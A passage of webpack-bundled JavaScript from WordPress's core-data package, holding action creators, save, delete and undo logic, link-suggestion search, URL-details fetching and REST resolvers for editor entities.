this.subscribers.forEach(subscriber => subscriber()); return this; } delete(value) { const isSuccess = this.set.delete(value); this.subscribers.forEach(subscriber => subscriber()); return isSuccess; } subscribe(subscriber) { this.subscribers.add(subscriber); return () => { this.subscribers.delete(subscriber); }; } } ;// ./node_modules/@wordpress/core-data/build-module/actions.js /** * External dependencies */ /** * WordPress dependencies */ /** * Internal dependencies */ /** * Returns an action object used in signalling that authors have been received. * Ignored from documentation as it's internal to the data store. * * @ignore * * @param {string} queryID Query ID. * @param {Array|Object} users Users received. * * @return {Object} Action object. */ function receiveUserQuery(queryID, users) { return { type: 'RECEIVE_USER_QUERY', users: Array.isArray(users) ? users : [users], queryID }; } /** * Returns an action used in signalling that the current user has been received. * Ignored from documentation as it's internal to the data store. * * @ignore * * @param {Object} currentUser Current user object. * * @return {Object} Action object. */ function receiveCurrentUser(currentUser) { return { type: 'RECEIVE_CURRENT_USER', currentUser }; } /** * Returns an action object used in adding new entities. * * @param {Array} entities Entities received. * * @return {Object} Action object. */ function addEntities(entities) { return { type: 'ADD_ENTITIES', entities }; } /** * Returns an action object used in signalling that entity records have been received. * * @param {string} kind Kind of the received entity record. * @param {string} name Name of the received entity record. * @param {Array|Object} records Records received. * @param {?Object} query Query Object. * @param {?boolean} invalidateCache Should invalidate query caches. * @param {?Object} edits Edits to reset. * @param {?Object} meta Meta information about pagination. * @return {Object} Action object. */ function receiveEntityRecords(kind, name, records, query, invalidateCache = false, edits, meta) { // Auto drafts should not have titles, but some plugins rely on them so we can't filter this // on the server. if (kind === 'postType') { records = (Array.isArray(records) ? records : [records]).map(record => record.status === 'auto-draft' ? { ...record, title: '' } : record); } let action; if (query) { action = receiveQueriedItems(records, query, edits, meta); } else { action = receiveItems(records, edits, meta); } return { ...action, kind, name, invalidateCache }; } /** * Returns an action object used in signalling that the current theme has been received. * Ignored from documentation as it's internal to the data store. * * @ignore * * @param {Object} currentTheme The current theme. * * @return {Object} Action object. */ function receiveCurrentTheme(currentTheme) { return { type: 'RECEIVE_CURRENT_THEME', currentTheme }; } /** * Returns an action object used in signalling that the current global styles id has been received. * Ignored from documentation as it's internal to the data store. * * @ignore * * @param {string} currentGlobalStylesId The current global styles id. * * @return {Object} Action object. */ function __experimentalReceiveCurrentGlobalStylesId(currentGlobalStylesId) { return { type: 'RECEIVE_CURRENT_GLOBAL_STYLES_ID', id: currentGlobalStylesId }; } /** * Returns an action object used in signalling that the theme base global styles have been received * Ignored from documentation as it's internal to the data store. * * @ignore * * @param {string} stylesheet The theme's identifier * @param {Object} globalStyles The global styles object. * * @return {Object} Action object. */ function __experimentalReceiveThemeBaseGlobalStyles(stylesheet, globalStyles) { return { type: 'RECEIVE_THEME_GLOBAL_STYLES', stylesheet, globalStyles }; } /** * Returns an action object used in signalling that the theme global styles variations have been received. * Ignored from documentation as it's internal to the data store. * * @ignore * * @param {string} stylesheet The theme's identifier * @param {Array} variations The global styles variations. * * @return {Object} Action object. */ function __experimentalReceiveThemeGlobalStyleVariations(stylesheet, variations) { return { type: 'RECEIVE_THEME_GLOBAL_STYLE_VARIATIONS', stylesheet, variations }; } /** * Returns an action object used in signalling that the index has been received. * * @deprecated since WP 5.9, this is not useful anymore, use the selector directly. * * @return {Object} Action object. */ function receiveThemeSupports() { external_wp_deprecated_default()("wp.data.dispatch( 'core' ).receiveThemeSupports", { since: '5.9' }); return { type: 'DO_NOTHING' }; } /** * Returns an action object used in signalling that the theme global styles CPT post revisions have been received. * Ignored from documentation as it's internal to the data store. * * @deprecated since WordPress 6.5.0. Callers should use `dispatch( 'core' ).receiveRevision` instead. * * @ignore * * @param {number} currentId The post id. * @param {Array} revisions The global styles revisions. * * @return {Object} Action object. */ function receiveThemeGlobalStyleRevisions(currentId, revisions) { external_wp_deprecated_default()("wp.data.dispatch( 'core' ).receiveThemeGlobalStyleRevisions()", { since: '6.5.0', alternative: "wp.data.dispatch( 'core' ).receiveRevisions" }); return { type: 'RECEIVE_THEME_GLOBAL_STYLE_REVISIONS', currentId, revisions }; } /** * Returns an action object used in signalling that the preview data for * a given URl has been received. * Ignored from documentation as it's internal to the data store. * * @ignore * * @param {string} url URL to preview the embed for. * @param {*} preview Preview data. * * @return {Object} Action object. */ function receiveEmbedPreview(url, preview) { return { type: 'RECEIVE_EMBED_PREVIEW', url, preview }; } /** * Action triggered to delete an entity record. * * @param {string} kind Kind of the deleted entity. * @param {string} name Name of the deleted entity. * @param {number|string} recordId Record ID of the deleted entity. * @param {?Object} query Special query parameters for the * DELETE API call. * @param {Object} [options] Delete options. * @param {Function} [options.__unstableFetch] Internal use only. Function to * call instead of `apiFetch()`. * Must return a promise. * @param {boolean} [options.throwOnError=false] If false, this action suppresses all * the exceptions. Defaults to false. */ const deleteEntityRecord = (kind, name, recordId, query, { __unstableFetch = (external_wp_apiFetch_default()), throwOnError = false } = {}) => async ({ dispatch, resolveSelect }) => { const configs = await resolveSelect.getEntitiesConfig(kind); const entityConfig = configs.find(config => config.kind === kind && config.name === name); let error; let deletedRecord = false; if (!entityConfig) { return; } const lock = await dispatch.__unstableAcquireStoreLock(STORE_NAME, ['entities', 'records', kind, name, recordId], { exclusive: true }); try { dispatch({ type: 'DELETE_ENTITY_RECORD_START', kind, name, recordId }); let hasError = false; try { let path = `${entityConfig.baseURL}/${recordId}`; if (query) { path = (0,external_wp_url_namespaceObject.addQueryArgs)(path, query); } deletedRecord = await __unstableFetch({ path, method: 'DELETE' }); await dispatch(removeItems(kind, name, recordId, true)); } catch (_error) { hasError = true; error = _error; } dispatch({ type: 'DELETE_ENTITY_RECORD_FINISH', kind, name, recordId, error }); if (hasError && throwOnError) { throw error; } return deletedRecord; } finally { dispatch.__unstableReleaseStoreLock(lock); } }; /** * Returns an action object that triggers an * edit to an entity record. * * @param {string} kind Kind of the edited entity record. * @param {string} name Name of the edited entity record. * @param {number|string} recordId Record ID of the edited entity record. * @param {Object} edits The edits. * @param {Object} options Options for the edit. * @param {boolean} [options.undoIgnore] Whether to ignore the edit in undo history or not. * * @return {Object} Action object. */ const editEntityRecord = (kind, name, recordId, edits, options = {}) => ({ select, dispatch }) => { const entityConfig = select.getEntityConfig(kind, name); if (!entityConfig) { throw new Error(`The entity being edited (${kind}, ${name}) does not have a loaded config.`); } const { mergedEdits = {} } = entityConfig; const record = select.getRawEntityRecord(kind, name, recordId); const editedRecord = select.getEditedEntityRecord(kind, name, recordId); const edit = { kind, name, recordId, // Clear edits when they are equal to their persisted counterparts // so that the property is not considered dirty. edits: Object.keys(edits).reduce((acc, key) => { const recordValue = record[key]; const editedRecordValue = editedRecord[key]; const value = mergedEdits[key] ? { ...editedRecordValue, ...edits[key] } : edits[key]; acc[key] = es6_default()(recordValue, value) ? undefined : value; return acc; }, {}) }; if (window.__experimentalEnableSync && entityConfig.syncConfig) { if (false) {} } else { if (!options.undoIgnore) { select.getUndoManager().addRecord([{ id: { kind, name, recordId }, changes: Object.keys(edits).reduce((acc, key) => { acc[key] = { from: editedRecord[key], to: edits[key] }; return acc; }, {}) }], options.isCached); } dispatch({ type: 'EDIT_ENTITY_RECORD', ...edit }); } }; /** * Action triggered to undo the last edit to * an entity record, if any. */ const undo = () => ({ select, dispatch }) => { const undoRecord = select.getUndoManager().undo(); if (!undoRecord) { return; } dispatch({ type: 'UNDO', record: undoRecord }); }; /** * Action triggered to redo the last undone * edit to an entity record, if any. */ const redo = () => ({ select, dispatch }) => { const redoRecord = select.getUndoManager().redo(); if (!redoRecord) { return; } dispatch({ type: 'REDO', record: redoRecord }); }; /** * Forces the creation of a new undo level. * * @return {Object} Action object. */ const __unstableCreateUndoLevel = () => ({ select }) => { select.getUndoManager().addRecord(); }; /** * Action triggered to save an entity record. * * @param {string} kind Kind of the received entity. * @param {string} name Name of the received entity. * @param {Object} record Record to be saved. * @param {Object} options Saving options. * @param {boolean} [options.isAutosave=false] Whether this is an autosave. * @param {Function} [options.__unstableFetch] Internal use only. Function to * call instead of `apiFetch()`. * Must return a promise. * @param {boolean} [options.throwOnError=false] If false, this action suppresses all * the exceptions. Defaults to false. */ const saveEntityRecord = (kind, name, record, { isAutosave = false, __unstableFetch = (external_wp_apiFetch_default()), throwOnError = false } = {}) => async ({ select, resolveSelect, dispatch }) => { const configs = await resolveSelect.getEntitiesConfig(kind); const entityConfig = configs.find(config => config.kind === kind && config.name === name); if (!entityConfig) { return; } const entityIdKey = entityConfig.key || DEFAULT_ENTITY_KEY; const recordId = record[entityIdKey]; const lock = await dispatch.__unstableAcquireStoreLock(STORE_NAME, ['entities', 'records', kind, name, recordId || esm_browser_v4()], { exclusive: true }); try { // Evaluate optimized edits. // (Function edits that should be evaluated on save to avoid expensive computations on every edit.) for (const [key, value] of Object.entries(record)) { if (typeof value === 'function') { const evaluatedValue = value(select.getEditedEntityRecord(kind, name, recordId)); dispatch.editEntityRecord(kind, name, recordId, { [key]: evaluatedValue }, { undoIgnore: true }); record[key] = evaluatedValue; } } dispatch({ type: 'SAVE_ENTITY_RECORD_START', kind, name, recordId, isAutosave }); let updatedRecord; let error; let hasError = false; try { const path = `${entityConfig.baseURL}${recordId ? '/' + recordId : ''}`; const persistedRecord = select.getRawEntityRecord(kind, name, recordId); if (isAutosave) { // Most of this autosave logic is very specific to posts. // This is fine for now as it is the only supported autosave, // but ideally this should all be handled in the back end, // so the client just sends and receives objects. const currentUser = select.getCurrentUser(); const currentUserId = currentUser ? currentUser.id : undefined; const autosavePost = await resolveSelect.getAutosave(persistedRecord.type, persistedRecord.id, currentUserId); // Autosaves need all expected fields to be present. // So we fallback to the previous autosave and then // to the actual persisted entity if the edits don't // have a value. let data = { ...persistedRecord, ...autosavePost, ...record }; data = Object.keys(data).reduce((acc, key) => { if (['title', 'excerpt', 'content', 'meta'].includes(key)) { acc[key] = data[key]; } return acc; }, { // Do not update the `status` if we have edited it when auto saving. // It's very important to let the user explicitly save this change, // because it can lead to unexpected results. An example would be to // have a draft post and change the status to publish. status: data.status === 'auto-draft' ? 'draft' : undefined }); updatedRecord = await __unstableFetch({ path: `${path}/autosaves`, method: 'POST', data }); // An autosave may be processed by the server as a regular save // when its update is requested by the author and the post had // draft or auto-draft status. if (persistedRecord.id === updatedRecord.id) { let newRecord = { ...persistedRecord, ...data, ...updatedRecord }; newRecord = Object.keys(newRecord).reduce((acc, key) => { // These properties are persisted in autosaves. if (['title', 'excerpt', 'content'].includes(key)) { acc[key] = newRecord[key]; } else if (key === 'status') { // Status is only persisted in autosaves when going from // "auto-draft" to "draft". acc[key] = persistedRecord.status === 'auto-draft' && newRecord.status === 'draft' ? newRecord.status : persistedRecord.status; } else { // These properties are not persisted in autosaves. acc[key] = persistedRecord[key]; } return acc; }, {}); dispatch.receiveEntityRecords(kind, name, newRecord, undefined, true); } else { dispatch.receiveAutosaves(persistedRecord.id, updatedRecord); } } else { let edits = record; if (entityConfig.__unstablePrePersist) { edits = { ...edits, ...entityConfig.__unstablePrePersist(persistedRecord, edits) }; } updatedRecord = await __unstableFetch({ path, method: recordId ? 'PUT' : 'POST', data: edits }); dispatch.receiveEntityRecords(kind, name, updatedRecord, undefined, true, edits); } } catch (_error) { hasError = true; error = _error; } dispatch({ type: 'SAVE_ENTITY_RECORD_FINISH', kind, name, recordId, error, isAutosave }); if (hasError && throwOnError) { throw error; } return updatedRecord; } finally { dispatch.__unstableReleaseStoreLock(lock); } }; /** * Runs multiple core-data actions at the same time using one API request. * * Example: * * ``` * const [ savedRecord, updatedRecord, deletedRecord ] = * await dispatch( 'core' ).__experimentalBatch( [ * ( { saveEntityRecord } ) => saveEntityRecord( 'root', 'widget', widget ), * ( { saveEditedEntityRecord } ) => saveEntityRecord( 'root', 'widget', 123 ), * ( { deleteEntityRecord } ) => deleteEntityRecord( 'root', 'widget', 123, null ), * ] ); * ``` * * @param {Array} requests Array of functions which are invoked simultaneously. * Each function is passed an object containing * `saveEntityRecord`, `saveEditedEntityRecord`, and * `deleteEntityRecord`. * * @return {(thunkArgs: Object) => Promise} A promise that resolves to an array containing the return * values of each function given in `requests`. */ const __experimentalBatch = requests => async ({ dispatch }) => { const batch = createBatch(); const api = { saveEntityRecord(kind, name, record, options) { return batch.add(add => dispatch.saveEntityRecord(kind, name, record, { ...options, __unstableFetch: add })); }, saveEditedEntityRecord(kind, name, recordId, options) { return batch.add(add => dispatch.saveEditedEntityRecord(kind, name, recordId, { ...options, __unstableFetch: add })); }, deleteEntityRecord(kind, name, recordId, query, options) { return batch.add(add => dispatch.deleteEntityRecord(kind, name, recordId, query, { ...options, __unstableFetch: add })); } }; const resultPromises = requests.map(request => request(api)); const [, ...results] = await Promise.all([batch.run(), ...resultPromises]); return results; }; /** * Action triggered to save an entity record's edits. * * @param {string} kind Kind of the entity. * @param {string} name Name of the entity. * @param {Object} recordId ID of the record. * @param {Object=} options Saving options. */ const saveEditedEntityRecord = (kind, name, recordId, options) => async ({ select, dispatch, resolveSelect }) => { if (!select.hasEditsForEntityRecord(kind, name, recordId)) { return; } const configs = await resolveSelect.getEntitiesConfig(kind); const entityConfig = configs.find(config => config.kind === kind && config.name === name); if (!entityConfig) { return; } const entityIdKey = entityConfig.key || DEFAULT_ENTITY_KEY; const edits = select.getEntityRecordNonTransientEdits(kind, name, recordId); const record = { [entityIdKey]: recordId, ...edits }; return await dispatch.saveEntityRecord(kind, name, record, options); }; /** * Action triggered to save only specified properties for the entity. * * @param {string} kind Kind of the entity. * @param {string} name Name of the entity. * @param {number|string} recordId ID of the record. * @param {Array} itemsToSave List of entity properties or property paths to save. * @param {Object} options Saving options. */ const __experimentalSaveSpecifiedEntityEdits = (kind, name, recordId, itemsToSave, options) => async ({ select, dispatch, resolveSelect }) => { if (!select.hasEditsForEntityRecord(kind, name, recordId)) { return; } const edits = select.getEntityRecordNonTransientEdits(kind, name, recordId); const editsToSave = {}; for (const item of itemsToSave) { setNestedValue(editsToSave, item, getNestedValue(edits, item)); } const configs = await resolveSelect.getEntitiesConfig(kind); const entityConfig = configs.find(config => config.kind === kind && config.name === name); const entityIdKey = entityConfig?.key || DEFAULT_ENTITY_KEY; // If a record key is provided then update the existing record. // This necessitates providing `recordKey` to saveEntityRecord as part of the // `record` argument (here called `editsToSave`) to stop that action creating // a new record and instead cause it to update the existing record. if (recordId) { editsToSave[entityIdKey] = recordId; } return await dispatch.saveEntityRecord(kind, name, editsToSave, options); }; /** * Returns an action object used in signalling that Upload permissions have been received. * * @deprecated since WP 5.9, use receiveUserPermission instead. * * @param {boolean} hasUploadPermissions Does the user have permission to upload files? * * @return {Object} Action object. */ function receiveUploadPermissions(hasUploadPermissions) { external_wp_deprecated_default()("wp.data.dispatch( 'core' ).receiveUploadPermissions", { since: '5.9', alternative: 'receiveUserPermission' }); return receiveUserPermission('create/media', hasUploadPermissions); } /** * Returns an action object used in signalling that the current user has * permission to perform an action on a REST resource. * Ignored from documentation as it's internal to the data store. * * @ignore * * @param {string} key A key that represents the action and REST resource. * @param {boolean} isAllowed Whether or not the user can perform the action. * * @return {Object} Action object. */ function receiveUserPermission(key, isAllowed) { return { type: 'RECEIVE_USER_PERMISSION', key, isAllowed }; } /** * Returns an action object used in signalling that the current user has * permission to perform an action on a REST resource. Ignored from * documentation as it's internal to the data store. * * @ignore * * @param {Object<string, boolean>} permissions An object where keys represent * actions and REST resources, and * values indicate whether the user * is allowed to perform the * action. * * @return {Object} Action object. */ function receiveUserPermissions(permissions) { return { type: 'RECEIVE_USER_PERMISSIONS', permissions }; } /** * Returns an action object used in signalling that the autosaves for a * post have been received. * Ignored from documentation as it's internal to the data store. * * @ignore * * @param {number} postId The id of the post that is parent to the autosave. * @param {Array|Object} autosaves An array of autosaves or singular autosave object. * * @return {Object} Action object. */ function receiveAutosaves(postId, autosaves) { return { type: 'RECEIVE_AUTOSAVES', postId, autosaves: Array.isArray(autosaves) ? autosaves : [autosaves] }; } /** * Returns an action object signalling that the fallback Navigation * Menu id has been received. * * @param {integer} fallbackId the id of the fallback Navigation Menu * @return {Object} Action object. */ function receiveNavigationFallbackId(fallbackId) { return { type: 'RECEIVE_NAVIGATION_FALLBACK_ID', fallbackId }; } /** * Returns an action object used to set the template for a given query. * * @param {Object} query The lookup query. * @param {string} templateId The resolved template id. * * @return {Object} Action object. */ function receiveDefaultTemplateId(query, templateId) { return { type: 'RECEIVE_DEFAULT_TEMPLATE', query, templateId }; } /** * Action triggered to receive revision items. * * @param {string} kind Kind of the received entity record revisions. * @param {string} name Name of the received entity record revisions. * @param {number|string} recordKey The key of the entity record whose revisions you want to fetch. * @param {Array|Object} records Revisions received. * @param {?Object} query Query Object. * @param {?boolean} invalidateCache Should invalidate query caches. * @param {?Object} meta Meta information about pagination. */ const receiveRevisions = (kind, name, recordKey, records, query, invalidateCache = false, meta) => async ({ dispatch, resolveSelect }) => { const configs = await resolveSelect.getEntitiesConfig(kind); const entityConfig = configs.find(config => config.kind === kind && config.name === name); const key = entityConfig && entityConfig?.revisionKey ? entityConfig.revisionKey : DEFAULT_ENTITY_KEY; dispatch({ type: 'RECEIVE_ITEM_REVISIONS', key, items: Array.isArray(records) ? records : [records], recordKey, meta, query, kind, name, invalidateCache }); }; ;// ./node_modules/@wordpress/core-data/build-module/private-actions.js /** * Returns an action object used in signalling that the registered post meta * fields for a post type have been received. * * @param {string} postType Post type slug. * @param {Object} registeredPostMeta Registered post meta. * * @return {Object} Action object. */ function receiveRegisteredPostMeta(postType, registeredPostMeta) { return { type: 'RECEIVE_REGISTERED_POST_META', postType, registeredPostMeta }; } ;// ./node_modules/camel-case/dist.es2015/index.js function camelCaseTransform(input, index) { if (index === 0) return input.toLowerCase(); return pascalCaseTransform(input, index); } function camelCaseTransformMerge(input, index) { if (index === 0) return input.toLowerCase(); return pascalCaseTransformMerge(input); } function camelCase(input, options) { if (options === void 0) { options = {}; } return pascalCase(input, __assign({ transform: camelCaseTransform }, options)); } ;// external ["wp","htmlEntities"] const external_wp_htmlEntities_namespaceObject = window["wp"]["htmlEntities"]; ;// ./node_modules/@wordpress/core-data/build-module/utils/forward-resolver.js /** * Higher-order function which forward the resolution to another resolver with the same arguments. * * @param {string} resolverName forwarded resolver. * * @return {Function} Enhanced resolver. */ const forwardResolver = resolverName => (...args) => async ({ resolveSelect }) => { await resolveSelect[resolverName](...args); }; /* harmony default export */ const forward_resolver = (forwardResolver); ;// ./node_modules/@wordpress/core-data/build-module/utils/receive-intermediate-results.js const RECEIVE_INTERMEDIATE_RESULTS = Symbol('RECEIVE_INTERMEDIATE_RESULTS'); ;// ./node_modules/@wordpress/core-data/build-module/fetch/__experimental-fetch-link-suggestions.js /** * WordPress dependencies */ /** * Fetches link suggestions from the WordPress API. * * WordPress does not support searching multiple tables at once, e.g. posts and terms, so we * perform multiple queries at the same time and then merge the results together. * * @param search * @param searchOptions * @param editorSettings * * @example * ```js * import { __experimentalFetchLinkSuggestions as fetchLinkSuggestions } from '@wordpress/core-data'; * * //... * * export function initialize( id, settings ) { * * settings.__experimentalFetchLinkSuggestions = ( * search, * searchOptions * ) => fetchLinkSuggestions( search, searchOptions, settings ); * ``` */ async function fetchLinkSuggestions(search, searchOptions = {}, editorSettings = {}) { const searchOptionsToUse = searchOptions.isInitialSuggestions && searchOptions.initialSuggestionsSearchOptions ? { ...searchOptions, ...searchOptions.initialSuggestionsSearchOptions } : searchOptions; const { type, subtype, page, perPage = searchOptions.isInitialSuggestions ? 3 : 20 } = searchOptionsToUse; const { disablePostFormats = false } = editorSettings; const queries = []; if (!type || type === 'post') { queries.push(external_wp_apiFetch_default()({ path: (0,external_wp_url_namespaceObject.addQueryArgs)('/wp/v2/search', { search, page, per_page: perPage, type: 'post', subtype }) }).then(results => { return results.map(result => { return { id: result.id, url: result.url, title: (0,external_wp_htmlEntities_namespaceObject.decodeEntities)(result.title || '') || (0,external_wp_i18n_namespaceObject.__)('(no title)'), type: result.subtype || result.type, kind: 'post-type' }; }); }).catch(() => []) // Fail by returning no results. ); } if (!type || type === 'term') { queries.push(external_wp_apiFetch_default()({ path: (0,external_wp_url_namespaceObject.addQueryArgs)('/wp/v2/search', { search, page, per_page: perPage, type: 'term', subtype }) }).then(results => { return results.map(result => { return { id: result.id, url: result.url, title: (0,external_wp_htmlEntities_namespaceObject.decodeEntities)(result.title || '') || (0,external_wp_i18n_namespaceObject.__)('(no title)'), type: result.subtype || result.type, kind: 'taxonomy' }; }); }).catch(() => []) // Fail by returning no results. ); } if (!disablePostFormats && (!type || type === 'post-format')) { queries.push(external_wp_apiFetch_default()({ path: (0,external_wp_url_namespaceObject.addQueryArgs)('/wp/v2/search', { search, page, per_page: perPage, type: 'post-format', subtype }) }).then(results => { return results.map(result => { return { id: result.id, url: result.url, title: (0,external_wp_htmlEntities_namespaceObject.decodeEntities)(result.title || '') || (0,external_wp_i18n_namespaceObject.__)('(no title)'), type: result.subtype || result.type, kind: 'taxonomy' }; }); }).catch(() => []) // Fail by returning no results. ); } if (!type || type === 'attachment') { queries.push(external_wp_apiFetch_default()({ path: (0,external_wp_url_namespaceObject.addQueryArgs)('/wp/v2/media', { search, page, per_page: perPage }) }).then(results => { return results.map(result => { return { id: result.id, url: result.source_url, title: (0,external_wp_htmlEntities_namespaceObject.decodeEntities)(result.title.rendered || '') || (0,external_wp_i18n_namespaceObject.__)('(no title)'), type: result.type, kind: 'media' }; }); }).catch(() => []) // Fail by returning no results. ); } const responses = await Promise.all(queries); let results = responses.flat(); results = results.filter(result => !!result.id); results = sortResults(results, search); results = results.slice(0, perPage); return results; } /** * Sort search results by relevance to the given query. * * Sorting is necessary as we're querying multiple endpoints and merging the results. For example * a taxonomy title might be more relevant than a post title, but by default taxonomy results will * be ordered after all the (potentially irrelevant) post results. * * We sort by scoring each result, where the score is the number of tokens in the title that are * also in the search query, divided by the total number of tokens in the title. This gives us a * score between 0 and 1, where 1 is a perfect match. * * @param results * @param search */ function sortResults(results, search) { const searchTokens = tokenize(search); const scores = {}; for (const result of results) { if (result.title) { const titleTokens = tokenize(result.title); const exactMatchingTokens = titleTokens.filter(titleToken => searchTokens.some(searchToken => titleToken === searchToken)); const subMatchingTokens = titleTokens.filter(titleToken => searchTokens.some(searchToken => titleToken !== searchToken && titleToken.includes(searchToken))); // The score is a combination of exact matches and sub-matches. // More weight is given to exact matches, as they are more relevant (e.g. "cat" vs "caterpillar"). // Diving by the total number of tokens in the title normalizes the score and skews // the results towards shorter titles. const exactMatchScore = exactMatchingTokens.length / titleTokens.length * 10; const subMatchScore = subMatchingTokens.length / titleTokens.length; scores[result.id] = exactMatchScore + subMatchScore; } else { scores[result.id] = 0; } } return results.sort((a, b) => scores[b.id] - scores[a.id]); } /** * Turns text into an array of tokens, with whitespace and punctuation removed. * * For example, `"I'm having a ball."` becomes `[ "im", "having", "a", "ball" ]`. * * @param text */ function tokenize(text) { // \p{L} matches any kind of letter from any language. // \p{N} matches any kind of numeric character. return text.toLowerCase().match(/[\p{L}\p{N}]+/gu) || []; } ;// ./node_modules/@wordpress/core-data/build-module/fetch/__experimental-fetch-url-data.js /** * WordPress dependencies */ /** * A simple in-memory cache for requests. * This avoids repeat HTTP requests which may be beneficial * for those wishing to preserve low-bandwidth. */ const CACHE = new Map(); /** * @typedef WPRemoteUrlData * * @property {string} title contents of the remote URL's `<title>` tag. */ /** * Fetches data about a remote URL. * eg: <title> tag, favicon...etc. * * @async * @param {string} url the URL to request details from. * @param {?Object} options any options to pass to the underlying fetch. * @example * ```js * import { __experimentalFetchUrlData as fetchUrlData } from '@wordpress/core-data'; * * //... * * export function initialize( id, settings ) { * * settings.__experimentalFetchUrlData = ( * url * ) => fetchUrlData( url ); * ``` * @return {Promise< WPRemoteUrlData[] >} Remote URL data. */ const fetchUrlData = async (url, options = {}) => { const endpoint = '/wp-block-editor/v1/url-details'; const args = { url: (0,external_wp_url_namespaceObject.prependHTTP)(url) }; if (!(0,external_wp_url_namespaceObject.isURL)(url)) { return Promise.reject(`${url} is not a valid URL.`); } // Test for "http" based URL as it is possible for valid // yet unusable URLs such as `tel:123456` to be passed. const protocol = (0,external_wp_url_namespaceObject.getProtocol)(url); if (!protocol || !(0,external_wp_url_namespaceObject.isValidProtocol)(protocol) || !protocol.startsWith('http') || !/^https?:\/\/[^\/\s]/i.test(url)) { return Promise.reject(`${url} does not have a valid protocol. URLs must be "http" based`); } if (CACHE.has(url)) { return CACHE.get(url); } return external_wp_apiFetch_default()({ path: (0,external_wp_url_namespaceObject.addQueryArgs)(endpoint, args), ...options }).then(res => { CACHE.set(url, res); return res; }); }; /* harmony default export */ const _experimental_fetch_url_data = (fetchUrlData); ;// ./node_modules/@wordpress/core-data/build-module/fetch/index.js /** * External dependencies */ /** * WordPress dependencies */ async function fetchBlockPatterns() { const restPatterns = await external_wp_apiFetch_default()({ path: '/wp/v2/block-patterns/patterns' }); if (!restPatterns) { return []; } return restPatterns.map(pattern => Object.fromEntries(Object.entries(pattern).map(([key, value]) => [camelCase(key), value]))); } ;// ./node_modules/@wordpress/core-data/build-module/resolvers.js /** * External dependencies */ /** * WordPress dependencies */ /** * Internal dependencies */ /** * Requests authors from the REST API. * * @param {Object|undefined} query Optional object of query parameters to * include with request. */ const resolvers_getAuthors = query => async ({ dispatch }) => { const path = (0,external_wp_url_namespaceObject.addQueryArgs)('/wp/v2/users/?who=authors&per_page=100', query); const users = await external_wp_apiFetch_default()({ path }); dispatch.receiveUserQuery(path, users); }; /** * Requests the current user from the REST API. */ const resolvers_getCurrentUser = () => async ({ dispatch }) => { const currentUser = await external_wp_apiFetch_default()({ path: '/wp/v2/users/me' }); dispatch.receiveCurrentUser(currentUser); }; /** * Requests an entity's record from the REST API. * * @param {string} kind Entity kind. * @param {string} name Entity name. * @param {number|string} key Record's key * @param {Object|undefined} query Optional object of query parameters to * include with request. If requesting specific * fields, fields must always include the ID. */ const resolvers_getEntityRecord = (kind, name, key = '', query) => async ({ select, dispatch, registry, resolveSelect }) => { const configs = await resolveSelect.getEntitiesConfig(kind); const entityConfig = configs.find(config => config.name === name && config.kind === kind); if (!entityConfig) { return; } const lock = await dispatch.__unstableAcquireStoreLock(STORE_NAME, ['entities', 'records', kind, name, key], { exclusive: false }); try { // Entity supports configs, // use the sync algorithm instead of the old fetch behavior. if (window.__experimentalEnableSync && entityConfig.syncConfig && !query) { if (false) {} } else { if (query !== undefined && query._fields) { // If requesting specific fields, items and query association to said // records are stored by ID reference. Thus, fields must always include // the ID. query = { ...query, _fields: [...new Set([...(get_normalized_comma_separable(query._fields) || []), entityConfig.key || DEFAULT_ENTITY_KEY])].join() }; } // Disable reason: While true that an early return could leave `path` // unused, it's important that path is derived using the query prior to // additional query modifications in the condition below, since those // modifications are relevant to how the data is tracked in state, and not // for how the request is made to the REST API. // eslint-disable-next-line @wordpress/no-unused-vars-before-return const path = (0,external_wp_url_namespaceObject.addQueryArgs)(entityConfig.baseURL + (key ? '/' + key : ''), { ...entityConfig.baseURLParams, ...query }); if (query !== undefined && query._fields) { query = { ...query, include: [key] }; // The resolution cache won't consider query as reusable based on the // fields, so it's tested here, prior to initiating the REST request, // and without causing `getEntityRecords` resolution to occur. const hasRecords = select.hasEntityRecords(kind, name, query); if (hasRecords) { return; } } const response = await external_wp_apiFetch_default()({ path, parse: false }); const record = await response.json(); const permissions = getUserPermissionsFromAllowHeader(response.headers?.get('allow')); const canUserResolutionsArgs = []; const receiveUserPermissionArgs = {}; for (const action of ALLOWED_RESOURCE_ACTIONS) { receiveUserPermissionArgs[getUserPermissionCacheKey(action, { kind, name, id: key })] = permissions[action]; canUserResolutionsArgs.push([action, { kind, name, id: key }]); } registry.batch(() => { dispatch.receiveEntityRecords(kind, name, record, query); dispatch.receiveUserPermissions(receiveUserPermissionArgs); dispatch.finishResolutions('canUser', canUserResolutionsArgs); }); } } finally { dispatch.__unstableReleaseStoreLock(lock); } }; /** * Requests an entity's record from the REST API. */ const resolvers_getRawEntityRecord = forward_resolver('getEntityRecord'); /** * Requests an entity's record from the REST API. */ const resolvers_getEditedEntityRecord = forward_resolver('getEntityRecord'); /** * Requests the entity's records from the REST API. * * @param {string} kind Entity kind. * @param {string} name Entity name. * @param {?Object} query Query Object. If requesting specific fields, fields * must always include the ID. */ const resolvers_getEntityRecords = (kind, name, query = {}) => async ({ dispatch, registry, resolveSelect }) => { const configs = await resolveSelect.getEntitiesConfig(kind); const entityConfig = configs.find(config => config.name === name && config.kind === kind); if (!entityConfig) { return; } const lock = await dispatch.__unstableAcquireStoreLock(STORE_NAME, ['entities', 'records', kind, name], { exclusive: false }); const key = entityConfig.key || DEFAULT_ENTITY_KEY; function getResolutionsArgs(records) { return records.filter(record => record?.[key]).map(record => [kind, name, record[key]]); } try { if (query._fields) { // If requesting specific fields, items and query association to said // records are stored by ID reference. Thus, fields must always include // the ID. query = { ...query, _fields: [...new Set([...(get_normalized_comma_separable(query._fields) || []), entityConfig.key || DEFAULT_ENTITY_KEY])].join() }; } const path = (0,external_wp_url_namespaceObject.addQueryArgs)(entityConfig.baseURL, { ...entityConfig.baseURLParams, ...query }); let records = [], meta; if (entityConfig.supportsPagination && query.per_page !== -1) { const response = await external_wp_apiFetch_default()({ path, parse: false }); records = Object.values(await response.json()); meta = { totalItems: parseInt(response.headers.get('X-WP-Total')), totalPages: parseInt(response.headers.get('X-WP-TotalPages')) }; } else if (query.per_page === -1 && query[RECEIVE_INTERMEDIATE_RESULTS] === true) { let page = 1; let totalPages; do { const response = await external_wp_apiFetch_default()({ path: (0,external_wp_url_namespaceObject.addQueryArgs)(path, { page, per_page: 100 }), parse: false }); const pageRecords = Object.values(await response.json()); totalPages = parseInt(response.headers.get('X-WP-TotalPages')); records.push(...pageRecords); registry.batch(() => { dispatch.receiveEntityRecords(kind, name, records, query); dispatch.finishResolutions('getEntityRecord', 